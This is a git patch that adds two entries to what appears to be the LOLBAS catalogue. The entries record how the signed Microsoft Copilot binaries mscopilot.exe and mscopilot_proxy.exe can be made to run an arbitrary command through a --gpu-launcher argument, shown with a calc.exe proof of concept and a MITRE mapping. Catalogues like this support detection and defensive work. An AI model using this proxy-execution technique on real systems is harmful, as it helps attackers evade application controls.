From fe428063d63682f49e2da6636eb514ad62100a12 Mon Sep 17 00:00:00 2001
From: 4n4s4zi <160362386+4n4s4zi@users.noreply.github.com>
Date: Sat, 9 May 2026 04:16:00 -0700
Subject: [PATCH] Adding mscopilot.exe and mscopilot_proxy.exe (#497)

Co-authored-by: Wietze <wietze@users.noreply.github.com>
---
 yml/OtherMSBinaries/Mscopilot.yml       | 22 ++++++++++++++++++++++
 yml/OtherMSBinaries/Mscopilot_proxy.yml | 23 +++++++++++++++++++++++
 2 files changed, 45 insertions(+)
 create mode 100644 yml/OtherMSBinaries/Mscopilot.yml
 create mode 100644 yml/OtherMSBinaries/Mscopilot_proxy.yml

diff --git a/yml/OtherMSBinaries/Mscopilot.yml b/yml/OtherMSBinaries/Mscopilot.yml
new file mode 100644
index 0000000..e62372f
--- /dev/null
+++ b/yml/OtherMSBinaries/Mscopilot.yml
@@ -0,0 +1,22 @@
+---
+Name: Mscopilot.exe
+Description: Microsoft Copilot app
+Author: 4n4s4zi
+Created: 2026-04-14
+Commands:
+  - Command: mscopilot.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher="{CMD} && taskkill /f /im mscopilot.exe &&"
+    Description: "`mscopilot.exe` will spawn the provided command. Parent `mscopilot.exe` process needs to be killed to avoid command being executed an infinite number of times."
+    Usecase: Executes a process under a trusted Microsoft signed binary
+    Category: Execute
+    Privileges: User
+    MitreID: T1218.015
+    OperatingSystem: Windows 11
+    Tags:
+      - Execute: CMD
+Full_Path:
+  - Path: C:\Program Files (x86)\Microsoft\Copilot\Application\mscopilot.exe
+Resources:
+  - Link: https://github.com/4n4s4zi/tour-de-mscopilot
+Acknowledgement:
+  - Person: 4n4s4zi
+    Handle: '@4n4s4zi'
diff --git a/yml/OtherMSBinaries/Mscopilot_proxy.yml b/yml/OtherMSBinaries/Mscopilot_proxy.yml
new file mode 100644
index 0000000..6ca8441
--- /dev/null
+++ b/yml/OtherMSBinaries/Mscopilot_proxy.yml
@@ -0,0 +1,23 @@
+---
+Name: Mscopilot_proxy.exe
+Description: Microsoft Copilot proxy launcher
+Author: 4n4s4zi
+Created: 2026-04-14
+Commands:
+  - Command: mscopilot_proxy.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher="cmd.exe /c calc.exe && taskkill /f /im mscopilot.exe &&"
+    Description: "`mscopilot_proxy.exe` will spawn the provided command. Parent `mscopilot_proxy.exe` process needs to be killed to avoid command being executed an infinite number of times."
+    Usecase: Executes a process under a trusted Microsoft signed binary
+    Category: Execute
+    Privileges: User
+    MitreID: T1218.015
+    OperatingSystem: Windows 11
+    Tags:
+      - Execute: CMD
+Full_Path:
+  - Path: C:\Program Files (x86)\Microsoft\Copilot\Application\mscopilot_proxy.exe
+Detection:
+Resources:
+  - Link: https://github.com/4n4s4zi/tour-de-mscopilot
+Acknowledgement:
+  - Person: 4n4s4zi
+    Handle: '@4n4s4zi'